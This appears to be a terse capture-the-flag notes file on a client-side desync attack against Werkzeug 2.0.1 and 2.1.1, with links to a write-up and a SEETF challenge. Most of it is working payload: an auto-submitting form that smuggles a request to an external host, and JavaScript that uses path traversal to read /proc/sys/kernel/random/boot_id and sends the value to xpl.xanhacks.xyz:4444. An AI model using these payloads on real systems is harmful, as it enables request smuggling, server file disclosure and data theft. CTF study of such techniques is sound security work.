CVE Wergzeug 2.0.1 & 2.1.1
https://mizu.re/post/abusing-client-side-desync-on-werkzeug
Desynth Recruit - web
<form id="x" action="http://127.0.0.1:1337/" method="POST" enctype="text/plain"><textarea name="GET http://xpl.xanhacks.xyz:4444 HTTP/1.1Foo: x">Mizu</textarea><button type="submit">CLICK ME</button></form><script>x.submit()
</script>
var request = new XMLHttpRequest();request.open('GET', '/api/ipc_download?file=../../../../../proc/sys/kernel/random/boot_id', false);request.send();var flag = request.responseText;window.location.href = "http://xpl.xanhacks.xyz:4444?flag=" + flag;
SEETF Client side desync attack
https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/now-you-c-me